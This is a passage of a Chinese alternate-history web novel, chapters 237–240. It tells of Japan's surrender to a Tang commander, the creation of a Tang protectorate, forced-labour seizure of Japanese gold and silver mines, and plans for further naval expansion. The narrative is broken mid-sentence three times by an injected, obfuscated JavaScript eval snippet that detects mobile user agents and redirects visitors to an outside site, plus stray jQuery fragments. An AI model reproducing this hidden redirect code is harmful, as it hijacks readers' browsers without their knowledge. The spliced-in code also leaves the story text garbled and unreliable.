“臣今穷蹙归命,情愿去帝号,永为藩臣,世世奉大唐正朔,岁岁朝贡,不敢有缺。愿献国土图籍,户籍版册,听候天朝处分。乞陛下、天后哀怜臣之愚顽,赦臣死罪。臣愿率宗族、百官,泥首阙下,恭听圣训。倭国山川土地、人民城池,皆陛下之所有,唯望陛下垂怜,使臣得守祭祀,则生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086397|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生世世,永感天恩。
“臣自知罪孽深重,不敢祈求宽宥,惟愿以一己之身,代国受罚,万死无恨。伏乞陛下、天后,明察臣之赤诚悔过之心,使东海波平,万民苏息。臣不胜惶恐待罪之至,谨奉表涕泣以闻。
麟德八年月日(此处空白,留待李瑾代表朝廷填写)倭国罪臣[天武**本名,此处用其本名而非汉风谥号]顿首再拜上表。”
诵毕,天武**已泪流满面(不知是真是假),双手将降表高举过顶。他身后的倭国贵族们,也纷纷伏地呜咽,或真心恐惧,或表演悲切。
一名唐军将领上前,接过降表,检查无误后,双手呈给李瑾。
李瑾接过这卷沉甸甸的帛书,展开略一浏览,确认关键条款(去帝号、奉正朔、献图籍、听处分等)无误,微微颔首。他上前一步,目光扫过跪伏一地的倭国君臣,声音清朗,透过通事的翻译,回荡在广场上空:
“倭国主既已知罪,上表乞降,情辞恳切。本帅奉大唐皇帝陛下、天后陛下敕命,征讨不庭,本欲灭国毁祀,以彰天讨。然,陛下、天后有好生之德,念尔等终究化外,初犯天威,且能幡然悔悟,自去僭号,愿永为藩辅,姑且准尔所请,暂恕其罪。”
此言一出,跪伏的倭国君臣中,不少人暗自松了一口气,但头垂得更低。
李瑾继续道:“着,倭国自此去‘**’僭号,复称‘倭国王’。去‘朱鸟’伪年号,奉大唐‘麟德’正朔。倭国王之废立,需奏报大唐皇帝陛下、天后陛下恩准册封。倭国政务,暂由本帅委派官吏协同尔国旧臣署理,待朝廷旨意。具体设‘倭岛都督府’等事宜,另行颁诏。”
“尔国需即行献上全国山川地理图册、户籍田亩簿籍、府库钱粮清单、兵甲器杖数目。各地官吏、豪族、僧侣,需向奈良行营重新具结效忠。另,为表诚意,倭国王需遣亲子、弟侄等宗室近支十人,及藤原、苏我、物部等大姓贵族嫡子各若干,入大唐京师长安,入国子监学习·大唐礼法,侍奉天颜。”
“此外,倭国需岁岁朝贡,具体贡额,依朝廷定制。此番征讨,耗费天朝钱粮兵马无数,倭国需赔偿军费,计黄金十万两,白银百万两,铜百万斤,精铁五十万斤,粮米二百万石,分期缴纳。具体细则,由行军司马与尔等核定。”
一条条,一款款,清晰明确,毫不含糊。这不仅是投降,更是将倭国的**、军事、经济、乃至未来继承人的教育,都置于大唐的严密控制之下。尤其是巨额战争赔款,将像一道沉重的枷锁,长期套在倭国的脖子上,使其无力再行反抗。
天武**(现在只能称倭国王)浑身颤抖,却只能以头抢地,颤声道:“罪臣……谨遵大元帅钧令,叩谢陛下、天后、大元帅不杀之恩……”
他身后众贵族也纷纷叩首:“谢天朝宽宥之恩!”
李瑾不再多言,将降表交给身旁**官收好。这封降表,连同倭国的国玺、重要图册,将作为最重要的战利品和统治依据,被快船送往洛阳,呈报给皇帝李治和天后武媚娘。
“仪式毕,带下去,严加看管,听候发落。”李瑾挥了挥手。
唐军士兵上前,“护送”着这群失魂落魄的倭国君臣离开广场。阴沉的天空下,大极殿沉默地矗立着,见证了这个岛国历史上前所未有的**一刻。广场上,只剩下肃立的唐军将士和猎猎飘扬的赤色唐旗。
受降仪式结束的消息,迅速传开。奈良城内,暗流涌动,有人绝望,有人庆幸,更多人开始思考如何在新的统治者手下生存、甚至谋利。而对于散布在倭国各地的豪族、官吏、百姓而言,**(倭国王)正式投降、接受所有苛刻条件的消息,彻底击碎了最后一丝侥幸心理。抵抗,已经失去了任何名义上和现实中的意义。
大唐的龙旗,正式而彻底地,插在了这个东海岛国的**心脏之上。接下来,便是如何消化这片战果,并将其转化为实实在在的利益了。李瑾的目光,已投向了倭国山川之下,那据说储量惊人的金银矿藏,以及更遥远的海洋征途。
第238章 置倭岛都督
天武**(现称倭国王)递上降表,并不意味着万事大吉。那只是一场盛大仪式,一份书面承诺。如何将军事胜利转化为稳固有效的统治,将倭国这个桀骜不驯的岛国真正纳入大唐的掌控,才是远比战场厮杀更复杂、更考验智慧与耐心的任务。李瑾深知,征服易,统治难。尤其是面对一个孤悬海外、语言文化迥异、地形破碎、豪族林立的地方,直接设立郡县、派流官治理,不仅成本高昂,而且极易激起持续的、难以扑灭的反抗,将唐军拖入治安战的泥潭。
羁縻,是唐朝处理边疆和归附少数民族政权的成熟政策。其核心在于“因俗而治”,承认地方首领的**统治权,保持其原有的社会结构和风俗习惯,但必须接受唐朝的册封,奉大唐正朔,定期朝贡,并在军事、外交上服从中央调遣。这种方式成本低,阻力小,能有效维持边疆稳定,并将这些地区逐步纳入中华文化圈。
对倭国,李瑾打算采取一种更为深入、控制力更强的“羁縻-都督府”复合模式。在保留倭国原有统治架构(倭国王及其朝廷)作为民政象征的同时,设立一个权力极大、由唐人担任的“倭岛都督府”,总揽军政、监察、外交、重要资源开采等核心权力,形成事实上的“二元统治”,最终目的是将倭国彻底改造为一个唯大唐马首是瞻、资源可控、战略可靠的海外藩屏和前进基地。
奈良城(唐军已正式将其改回原名“藤原京”,以示对倭国旧制的否定,但为叙述方便,仍称奈良)原太政官署,如今的大唐征东元帅行营,成了新政令的制定中心。李瑾召集了何迦楼、金仁问、随军文吏、以及少数经过甄别、表现合作且通晓倭国事务的降倭贵族(如曾作为遣唐使、对唐文化有亲近感者),连续数日闭门商讨。
“羁縻之要,在于分而治之,以夷制夷,更要抓住命脉。”李瑾指着墙上新绘制的倭国全图(依据倭人献上的旧图及唐军探查补充绘制),对众人阐述他的构想。
“其一,分权。倭国旧制,权力过于集中于畿内贵族,尤以藤原氏为甚。此番藤原不比等虽逃,其族势力犹在。我等当扶植其他势力,如苏我氏残支、地方有影响力的国造(地方豪族)、甚至部分佛寺势力,使其相互制衡。倭国王(天武)一脉,可暂且保留,以为象征,但其子嗣、近支,必须入质长安,其本人亦需在适当时机‘请旨’移居洛阳‘颐养’,使其远离倭国权力中心。”
金仁问对新罗内部倾轧和倭国**素有了解,点头道:“大帅明鉴。倭国贵族,内斗不休。可效汉武推恩之策,明升暗降,分化其领地、部民。对恭顺者,许以唐官虚衔、贸易之利;对首鼠两端者,以兵威震慑;对冥顽不灵者,则借‘平叛’之名,以雷霆手段除之,其地或设军镇,或分赏有功归顺之豪族。”
“其二,控军。”何迦楼接口,手指划过本州、九州、四国之间的海域,“水师乃我立足之本。当在九州博多津、本州难波津、四国屋岛(后世高松附近)等要害之处,建立永久性水师基地,常驻精锐战舰,控制航道,震慑不轨。倭国原有水军船舰,一律销毁或征为商用,禁止其再造大船。陆上,于畿内、九州、本州关东等要地,设立军镇,驻屯我唐军精锐,以为威慑。倭国旧有军团、贵族私兵,除少量维持地方治安者,余者尽数解散,兵器甲仗,集中收缴管理。”
“其三,掌财。”李瑾点向地图上几个被特别标记的区域,那是从投降贵族和僧侣口中拷问出的、已知的主要金银矿藏地点,“倭国贫瘠,然多金银。其佐渡、石见、甲斐等地,皆有富矿。此乃其命脉,亦是我大唐此番用兵所耗之补偿,未来控制其国之锁钥。当立即派遣精干吏员,由工兵及格物院匠师(随军带有勘矿工匠)护送,前往勘察,设立矿监,招募当地民夫,以我唐法、唐技开采。所得金银,大部输送洛阳,小部留作驻军及行政开支。此为其战争赔款之主要来源,亦是我羁縻其国、笼络本地合作者之资源。”
“其四,通文教,定法统。”随军主簿,一位出身弘文馆的学者补充道,“倭国文字、衣冠、制度,多仿我唐,此乃羁縻之利基。当勒令其国,公文、典籍、科举(若有)、官方礼仪,必须全用汉文、汉字。鼓励倭国贵族子弟入长安国子监、太学就读,**儒经、明礼法。其国中,可设‘唐学所’,教授汉文、儒学、算学。久而久之,其精英必以通汉学为荣,心向大唐。其国史书,需由我唐官审定,去除僭越之语,申明永为唐藩之義。其神道教、佛教,可暂不干涉,然其寺田、僧兵需加限制,其领袖需受唐官敕封或认可。”
李瑾赞许地点头:“诸位所言,皆中肯綮。可依此拟定《倭岛羁縻敕令》,详列条款。然,徒法不足以自行。需有一强有力之机构,总揽执行,监察各方。故,本帅意,奏请朝廷,于此处设立‘倭岛都督府’。”
他站起身,走到地图前,手指重重点在奈良的位置,但随即又移向靠近海岸的难波津(大阪):“都督府驻地,不设在奈良这旧都。奈良乃倭国旧势力盘踞之地,关系错综复杂。当设于难波津!此地濒海,便于与我水师联络,交通便利,亦远离旧贵族之窠臼。以难波津为基,兴建新城池、港口、官衙、仓廪,名为‘镇倭城’!倭岛都督府,便设于镇倭城内!”
“都督一职,权柄极重。总揽倭岛(包括本州、九州、四国及附属岛屿,虾夷地暂不置)一切军政要务,掌驻军、巡海、勘矿、征粮、监察官吏、审理要案、对外交涉之权。倭国旧有之太政官、国司、郡司,其政令需经都督府核准备案,方可行之。倭国王之政令,无都督府副署,不得出王宫。都督有专断之权,可先斩后奏!”
“首任倭岛都督……”李瑾目光扫过帐中诸将,最后落在金仁问身上,但随即微微摇头。金仁问虽熟悉倭情,但毕竟新罗王子身份特殊,用其安抚九州尚可,总督全倭则易生嫌隙。他又看向何迦楼,何迦楼是水师名将,但治理地方非其所长。他心中已有计较,但此时不必明言。
“都督人选,需稳重干练,通晓政务,熟稔边事,更需忠心不二。此事,本帅将专折奏明圣上与天后,请朝廷简派重臣。在新都督到任前,暂由本帅兼领都督事,以行军司马府兼理都督府政务,何总管总督水师及海防,金安抚使(金仁问)仍理九州民政,并协理本州招抚事宜。”
“此外,”李瑾继续道,“于九州博多设‘镇西军府’,于本州东北陆奥(后世仙台一带)设‘镇东军府’,于四国设‘南海军府’,皆受倭岛都督府节制,分辖各地驻军,**不轨,开拓疆土(尤其是虾夷地)。”
一套融合了羁縻政策、军事控制、经济掠夺、文化同化的完整统治蓝图,在李瑾和其幕僚的商讨中逐渐清晰。这不仅仅是战后的权宜安排,更是意图从根本上改造倭国,将其牢牢绑定在大唐的战车之上。
麟德八年九月,经过一个多月的筹备和威逼利诱下的谈判(主要对象是那些希望在新秩序下分一杯羹的倭国贵族),《大唐皇帝敕令:置倭岛羁縻都督府及善后事宜条陈》(简称《倭岛羁縻敕令》)正式以李瑾的名义颁布,并快马送往洛阳,请皇帝、天后用玺批准。同时,在奈良及各地以汉、倭两种文字张贴告示,晓谕全倭。
其主要内容如下:
一、**架构:
1.去倭国“**”号,复称“倭国王”,由大唐皇帝册封,**罔替,然其废立需经大唐核准。
2.倭国王仍居奈良旧宫,保留象征性礼仪职能,可设简化之朝廷(去“太政官”等僭越名号,改称“王府”),处理日常琐碎民政,但其所有政令,须经“倭岛都督府”核准用印,方为有效。
3.设“倭岛都督府”于难波津(即刻动工兴建镇倭城),总揽倭岛全境(本州、九州、四国等)军政、监察、外交、矿务、贸易、司法要务。都督由大唐皇帝直接任命,通常由宗室、重臣或心腹大将担
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086398|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任,权力极大。
4.倭国旧有行政划分(国、郡、里)暂予保留,其国司、郡司等地方官,经都督府审核后,可酌情留任或更换,但需接受都督府派出的“巡按使”、“监察使”监督。重要地区、港口、矿场,由都督府直接派官管理。
二、军事控制:
1.解散倭国原有中央及地方常备军(“军团”),贵族私兵严格限制数量并登记在册,不得拥有**、甲、战马等重装备。
2.于难波津(都督府驻地)、博多津(镇西军府)、陆奥(镇东军府)、屋岛(南海军府)建立四大水陆军基地,常驻大唐水师战舰及陆军精锐,由都督府直辖。
3.倭国各战略要地,分驻唐军,归各军府节制,负责震慑地方、清剿残匪、维护商路。
4.倭国不得自造大型战船,所有海防、缉私由大唐水师负责。
三、经济命脉:
1.倭国所有已发现及未来发现之金、银、铜、铁等矿藏,皆为“天朝国有”,由都督府下设“矿监司”统一勘察、开采、冶炼。所得矿产,按定额上缴国库,余者可用于当地驻军开支及支付战争赔款。
2.倭国每年需向大唐缴纳定额“助军粮饷”(实为赋税),以粮米、布匹、海产、木材等实物或折银缴纳。
3.开放博多津、难波津、松山(四国)等指定港口为通商口岸,设市舶司,由唐人管理,征收关税,管理大唐与倭国、以及倭国与朝鲜半岛、琉球等地的贸易。鼓励唐商前来贸易、开矿、置业。
4.战争赔款(金银铜铁粮等)分期缴纳,由矿产出产优先抵偿。
四、文化法制:
1.倭国官方文书、典籍、教育,必须使用汉文汉字。设“唐学所”于奈良、难波等地,教授汉学,选拔优秀倭人子弟入长安学习。
2.倭国律令,需参照《唐律疏议》进行修订,去除不合大唐礼法之处。重大案件、涉及唐人或重要人物的案件,由都督府司法参军审理。
3.佛教、神道教可继续存在,但其寺社土地需登记造册,缴纳赋税,僧兵解散,其高级僧职任命需报都督府备案。
五、人质与监控:
1.倭国王需遣亲子、弟侄等近支宗室十人,藤原、苏我、橘、物部等大姓嫡子各若干,即刻启程赴长安,入国子监“学习”,实为人质。
2.各地方豪族、国司,亦需遣子或重要亲族至奈良或难波,名为“入仕都督府”,实为质子。
敕令一出,倭国上下再次震动。虽然早有心理准备,但条款之严苛、控制之深入,仍让许多心存侥幸的贵族倒吸凉气。这几乎彻底剥夺了倭国的独立地位,将其**、军事、经济、文化命脉全部交由唐人掌控。然而,在唐军驻军的刀锋和“霹雳”的阴影下,无人敢公开反对。那些早早投靠唐军的贵族,则暗自庆幸,并开始盘算如何在新体系下谋取更多利益。
李瑾雷厉风行,不等洛阳回旨(以他对武媚娘的了解,深知此事必准,且会大力支持),便开始推行。任命随军文官暂摄都督府各曹参军,开始接收倭国图籍、户籍,清点府库,遣散旧军,收缴武器。同时,派兵护送矿监司官吏和匠人,前往石见、佐渡等已知大型银矿、金矿所在地,进行初步勘察和接管准备。镇倭城的营建,也在难波津紧锣密鼓地展开,大量倭国民夫被征发劳作。
奈良的倭国王“朝廷”,则在一片愁云惨淡中,开始了向“王府”的转型,权力被极大架空,形同虚设。天武**(倭国王)本人,在得知自己数名儿子和弟弟将被送往长安为质后,更是大病一场,深居简出。
“倭岛都督府”的建立,标志着大唐对倭国的统治,从一个军事占领的临时状态,开始向一个制度化、长期化的羁縻统治体系转变。倭国,这个曾试图与大唐分庭抗礼的东海岛国,自此被正式套上了枷锁,其命运与大唐帝国深深绑定。而大唐的海洋**,也因这个东海跳板的稳固,而变得更加清晰和迫近。
第239章 掠金银矿藏
《倭岛羁縻敕令》的颁布,如同在倭国这潭已被唐军武力搅动的浑水中,又投下了一颗决定性的石子。其激起的最大涟漪,并非那些虚头巴脑的**名分变更,而是其中关于矿藏的那几条冷冰冰的条文——“倭国所有已发现及未来发现之金、银、铜、铁等矿藏,皆为‘天朝国有’,由都督府下设‘矿监司’统一勘察、开采、冶炼。所得矿产,按定额上缴国库……”
文字是冰冷的,但其背后所代表的,是大唐对倭国经济命脉最直接、最彻底的攫取。李瑾和洛阳朝廷的意图清晰无比:战争需要补偿,驻军需要供养,未来的海洋扩张需要海量资金,而倭国列岛之下埋藏的贵金属,正是最现成、最诱人的战利品。
敕令墨迹未干,李瑾的政令便接踵而至。在难波津刚刚打下地基的“镇倭城”内,挂上了“倭岛都督府矿监司”的临时牌匾。来自格物院、将作监、少府监的精干吏员、勘矿匠师、冶炼好手,以及一队队全副武装的唐军护卫,开始以此为中枢,向倭国各地已知的、或疑似有矿的地区进发。他们的目标,是那些在历史记载、前代遣唐使交流、以及此番从投降贵族和僧侣口中拷问出的金银矿点。
首要目标,锁定在了本州岛西部的石见国(今岛根县)。此地有银山,在倭国史料中偶有提及,但开采规模和技术极为原始。矿监司主事,是一位名叫崔器的官员,他出身将作监,曾在陇右、江南参与过矿务,对金银铜铁的开采冶炼颇有心得,更关键的是,他带来了格物院根据李瑾理论初步改良的探矿、选矿和冶炼技术。
崔器带着数百人的队伍,其中包括五十名唐军护卫、三十名工匠、二十名通译和**,以及数百名被强征的当地倭人劳役,跋山涉水,来到了石见银山所在的山区。眼前景象,让崔器皱了皱眉。所谓的“银山”,不过是几处被简单开凿的矿洞,洞口低矮,以原木勉强支撑,矿工(多是奴隶或囚徒)佝偻着身子,用最原始的石锤、木撬开采矿石,效率低下,危险异常。提炼白银则多用“灰吹法”的原始版本,损耗大,纯度低,烟气有毒,环境恶劣。
“此地确有银脉,蕴藏颇丰,然倭人开采之法,无异于暴殄天物。”崔器对随行的副手和护卫校尉说道,“即刻清理场地,搭建营寨。先以**开山,拓宽矿洞入口,增设木架支撑,确保通风。选矿之法,当用水力淘洗、重选,提高效率。至于冶炼……”他拿出几卷图纸,上面绘有李瑾“提点”过的改进型高炉和灰吹炉结构,“按此图建造新炉,务必加快进度。都督有令,三月之内,需见此矿产出第一批成银,运回奈良,以为表率!”
工匠们立刻开始忙碌。**被小心翼翼地用于松动岩层,**声震撼山谷,让附近的倭人惊恐跪拜,以为又是唐军的“霹雳”。新的矿洞以更科学的方式开掘,有了更稳固的支撑和通风设施。溪流被引水,带动简易水车,用于冲洗、筛选矿石。山坡上,新的冶炼炉开始砌筑,其结构远比倭人原有的土炉复杂、高效。
崔器也没忘了“以夷制夷”。他找来原本控制此地的倭人小豪族,此人早已被唐军吓破了胆,毕恭毕敬。崔器给了他一个“矿监司石见矿场协理”的空头衔,命他负责招募、管理当地矿工,提供粮草物资,并承诺按其“贡献”给予微薄分成。这小豪族见不仅保住了性命,似乎还有利可图,立刻转变态度,卖力驱使起原本属于他的农奴和掳来的贫民。
石见银山的“唐法”开采,很快见到了成效。新法开采的矿石品位更高,新式冶炼炉出银的效率和纯度也远胜从前。当第一批闪烁着诱人光泽的银锭被铸造出来,整齐地码放在木箱中时,崔器松了口气,立刻派人快马加鞭,将喜讯和部分样品送往奈良。
几乎在石见银山步入正轨的同时,另一支规模更大的矿监队伍,在唐军一个营的兵力护送下,乘船渡过日本海,登上了佐渡岛(今新潟县佐渡岛)。此地传闻有金矿,但位置更偏,开发更少。队伍中除了工匠,还有随军测绘的**员,他们的任务不仅是开矿,还要绘制详细的岛屿地图,建立据点,为将来可能的大规模开发做准备。佐渡岛孤悬海外,控制此地,也具有重要的军事和航运价值。
本州中部的甲斐国(今山梨县)金矿、出羽国(今山形县、秋田县)的金银矿,也陆续被标记、勘察,并开始了初步的清理和营建。每至一处,流程大同小异:唐军武力控制,驱散或收编原有矿主(通常是当地豪族或寺院);工匠评估矿脉,规划开采;征发当地劳役(给予极低报酬或干脆是强制劳役);建立由唐人主导、倭人协理的管理体系;修筑防御工事和直通港口的道路。
这是一场系统性的、高效的国家级资源掠夺。与历史上任何私人或团体的盗采、走私不同,这是以国家机器为后盾,以先进技术为工具,以军事占领为保障的合法“征收”。倭国原有的、零散的、低效的矿业体系被彻底打破,取而代之的,是一个直接对倭岛都督府、最终对大唐朝廷负责的垂直管理体系。
奈良,临时元帅行营内,关于矿藏的报告雪片般飞来。
“禀大帅,石见银山第一批成银五千两已入库,后续月产预计可达一万五千两至两万两,若扩大开采,引入更多劳役,产量可倍增。”
“报,佐渡岛已发现高品位金砂矿脉,初步试采,日可得砂金二十两,已建立营寨,并发现天然良港一处,可停泊大船。”
“甲斐国黑川金山,倭人旧矿洞已清理完毕,新炉在建,预计下月可出金。”
“出羽国小坂银山,矿脉极富,然地处深山,道路难行,已征发民夫三千,开凿道路,并派兵一队驻守……”
李瑾听着汇报,看着地图上一个个被标记出来的、代表矿点的红色圆圈,脸上并无太多喜色,只有一种沉静的、一切尽在掌握的笃定。他知道,这些流淌出的金银,才是此战最实在的收益,也是未来控制倭国、支撑更大野心的基石。
“传令崔器及各矿场主事,”李瑾指示行军司马,“开采冶炼,一应以安全、高效为首要。可酌情提高熟练工匠及倭人监工之待遇,以激励其心。然,对征发劳役,需严加看管,防止逃亡、**。各矿场驻军,务必提高警惕,若有胆敢破坏矿山、煽动滋事者,无论何人,立斩不赦,并追究其主家连坐之责!”
“所得金银铜料,除留小部于当地用于支付必要开支及驻军饷额外,大部需定期运送至难波津或博多津,由水师战舰押运,送回登州,再转送洛阳。运输路线、时间需严格保密,沿途加强护卫。”
“另,”李瑾补充道,目光锐利,“严查各矿场吏员、军士贪墨、私贩矿料之行为。一经发现,无论官职大小,立按军法从事,籍没家产。朝廷与将士们跨海血战所得,不容硕鼠窃取!”
“是!”行军司马凛然应诺。
随着矿监司在各矿点展开工作,大批的金银开始从倭国的山川中流淌出来,汇聚到奈良、难波津的临时府库。这些黄白之物,不仅直接冲抵着战争赔款,更以最直观的方式,彰显着大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086399|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唐统治的“实效”。倭国的贵族、官吏们,眼睁睁地看着原本可能属于他们的矿藏,被唐人以绝对的力量和技术优势夺走,财富如水般流出倭国,心中滋味复杂。有些人暗中怨恨,但更多的人,在恐惧和利益的权衡下,选择了合作甚至主动投靠。
一些地方豪族,主动献上自己领地内疑似有矿的地图,或派出子侄、家臣,协助唐军维持矿场秩序、征发劳役,以换取一个“协理”、“监工”的头衔和微不足道的分成,或仅仅是保全家族平安。唐人也乐得利用这些“地头蛇”,以减少管理成本,形成了一种微妙而残酷的共生关系:唐人居于顶端,掌控技术和武力;合作的倭人豪族作为中间阶层,负责具体管理和**;最底层的,则是无数被强制征发、在恶劣条件下劳作至死的倭国平民、囚徒、奴隶。
当然,并非所有人都甘心接受。在一些偏远矿区,也曾爆发过小规模的劳役**或当地豪族煽动的袭击。但在唐军精锐小队和“霹雳火器”(小规模战斗中使用的手掷雷和**)的**下,这些反抗如同投入火把的雪花,瞬间消融。参与者被残酷处决,其家族被连坐,土地被没收,人口被贬为官奴,发往更艰苦的矿场。血腥的**,让反抗的成本变得极高,渐渐地,公开的抵抗越来越少,转为暗地里的消极怠工或零星逃亡。
掠夺是系统而高效的,但李瑾的眼光,并未仅仅停留在掠夺上。在一次与矿监司主事崔器的谈话中,他提到了更长远的方向。
“金银虽好,然终有采尽之日。且长途转运,耗费亦巨。”李瑾指着地图上标注的矿点,“汝等在开采之余,需留意记录矿脉走向、矿石种类、伴生之物。倭国多山,除金银外,铜、铁、铅、硫磺等,亦不可忽视。尤其硫磺,乃**必备之材,需寻稳定矿源,加大开采。可尝试在倭地就地建立一些工匠坊,利用其木炭、水力,将部分矿石粗炼,再运回大唐,以省运力。”
“此外,”李瑾沉吟道,“倭人之中,若有心灵手巧、肯学肯干之矿工、匠人,可稍加笼络,传授其一些粗浅技艺,以为我用。未来,或可于倭地设‘匠作所’,专司兵器修缮、农具打造乃至船舶维护,使其能稍稍自给,减轻我大唐负担。然核心技艺,如精炼、**配制、军器制造,绝不可外泄。”
崔器心领神会:“大帅高瞻远瞩。下官明白,既要取其利,亦要逐步使其能为大唐所用,成为海外之一臂助,而非纯粹之负累。”
掠夺,是为了滋养母国;而有限的、可控的技术转移和本地化生产,则是为了降低统治成本,并逐渐将倭国经济捆绑在大唐的战车上,使其难以脱离。这远比单纯的杀鸡取卵更为高明,也更具可持续性。
当第一批满载银锭的运输船,在唐军战舰的护航下,离开难波津,驶向茫茫大海,驶向登州,驶向洛阳时,它们运载的不仅仅是贵金属,更是一个明确的信号:跨海征伐倭国,不仅仅是一场军事胜利,更是一场利润空前丰厚的投资。倭国地下的财富,正通过唐军建立的体系,源源不断地流向大唐,充实着帝国的国库,也为李瑾和武媚娘心中那个更宏大的蓝图——走向更广阔海洋——提供了坚实的物质基础。
奈良的秋风中,仿佛都带上了一丝金银的冷冽气息。倭国,这个曾经怀揣着“日出处天子”梦想的岛国,正在以一种它未曾预料到的方式,被深刻地改变着。它的山川,在为征服者产出财富;它的人民,在征服者的驱使下改造着自己的土地。而这一切,才刚刚开始。
第240章 航向新大陆
麟德八年的冬天,来得比往年更早一些。来自西伯利亚的寒风,裹挟着冰冷的湿气,掠过日本海,扑向倭国列岛。奈良的宫阙楼台,笼罩在一片萧瑟之中。然而,在奈良城外的唐军大营,在难波津日渐成型的“镇倭城”工地,在石见、佐渡、甲斐的各个矿场,却是一番截然不同的、热火朝天的景象。征服的尘埃已然落定,但征服之后的“消化”与“汲取”,正以前所未有的力度和效率进行着。
倭岛都督府的架构在血腥与威慑中艰难搭建,各级官吏、驻军、矿监、税吏如同触手,深入倭国社会的肌理,开始汲取养分。第一批成色极佳的白银和砂金,已经由全副武装的运输船队,在战舰的严密护航下,运抵登州,正通过运河和驿道,源源不断地输向洛阳。随船抵达的,还有李瑾呈报平定倭国、设立都督府、并初步稳定局势的详细奏章,以及那份象征着倭国彻底臣服的《请罪乞降表》。
奈良,原藤原氏一处位置优越、可俯瞰全城的庄园,被改建为临时的征东元帅府。窗外寒风呼啸,室内却因炭火盆而暖意融融。李瑾披着一件貂裘,站在一幅巨大的倭国及周边海域图前,陷入沉思。图上不仅标注了倭国本州、九州、四国、北海道(虾夷地)的轮廓,还延伸向更广阔的海洋:东北方是广袤未知的“鲸海”(后世鄂霍次克海)和“流鬼国”(勘察加半岛及更北?);东方则是浩瀚无垠的“东大洋”;南方是琉球群岛、台湾(此时称“流求”),以及更远的吕宋、爪哇等岛屿;西方则是朝鲜半岛、辽东,以及更遥远的、商船偶尔提及的“大食”(阿拉伯)海岸。
“大帅,洛阳有信使到,天后密旨。”亲卫队长李虎的声音打断了李瑾的思绪。他捧着一只密封的铜管,恭敬地呈上。
李瑾接过,验看火漆无误,用随身**撬开,取出内里绢帛。是武媚娘的亲笔信,字迹依旧力透纸背,锋芒暗藏,但语气中透着罕见的兴奋与期许。
信中,武媚娘盛赞了李瑾此番跨海远征的功绩,称其“一战定东海,功在社稷,利在千秋”。朝廷已正式下旨,批准了李瑾关于设立“倭岛都督府”及各项羁縻措施的奏请,并擢升其麾下何迦楼、金仁问等有功将士。更重要的是,朝廷决定从倭国首批运回的金银中,划拨出相当一部分,用于扩大登州、扬州、广州的造船工坊,建造更多、更大的“宝船”,并继续支持格物院对航海术、火器、造船技术的研发。信末,武媚娘写道:“…倭地初定,然东海波阔,**之外,或有仙山、异国、奇珍。昔秦皇汉武,遣方士求药,终是虚妄。今我大唐舟师之利,冠绝寰宇,火器之威,慑服蛮夷。瑾儿既开此局,当思更远。…朝中虽有腐儒聒噪‘劳师远涉,虚耗国帑’,然朕与汝深知,海之利,岂止鱼盐?其地、其物、其路,关乎国运。卿在倭岛,当善加经营,以为东进之基,南下之阶。他日巨舰连舳,旌旗蔽日,通商万国,宣威异域,方显我大唐气魄!…”
放下密信,李瑾走到窗边,推开一丝缝隙,寒风立刻涌入。但他胸中,却有一股热流在涌动。武媚娘,这位历史上唯一的女皇,其眼光和魄力,果然非寻常帝王可比。她看到的,不仅仅是倭国的金银,更是征服倭国所带来的信心、经验,以及一个跳向更广阔世界的坚实踏板。她的野心,已然被这次跨海远征的成功彻底点燃,投向了茫茫大洋的深处。
“航向新大陆……”李瑾低声自语,目光似乎穿透了寒冷的空气和遥远的海洋,看到了美洲西海岸的轮廓。他知道,以目前的航海技术、船只性能和后勤保障能力,横渡太平洋直达美洲,仍是近乎天方夜谭。但饭要一口一口吃,路要一步一步走。征服和经营倭国,控制朝鲜半岛,经略琉球、台湾,探索东南亚群岛,打通通往印度洋的航路……每一步,都是在为最终那伟大的航程积累经验、技术和资源。
“大帅,何总管、金安抚使,还有水师几位将领、都督府几位参军,已在议事厅等候。”李虎再次禀报。
“知道了。”李瑾收回思绪,整理了一下衣袍,走向议事厅。是时候,将他和天后目光所及的那个更宏伟的蓝图,向这些核心的将领和幕僚们,透露一二了。未来的海洋帝国,需要他们共同铸造。
议事厅内,炭火盆烧得正旺。何迦楼、金仁问,以及几位水师将领、新任命的都督府参军们济济一堂。见李瑾进来,纷纷起身行礼。
“诸位请坐。”李瑾在主位坐下,开门见山,“倭地大局初定,有赖诸位用命。朝廷嘉奖,不日即到。然,今日召诸位前来,非为庆功,乃为议将来之事。”
众人神色一肃,凝神静听。
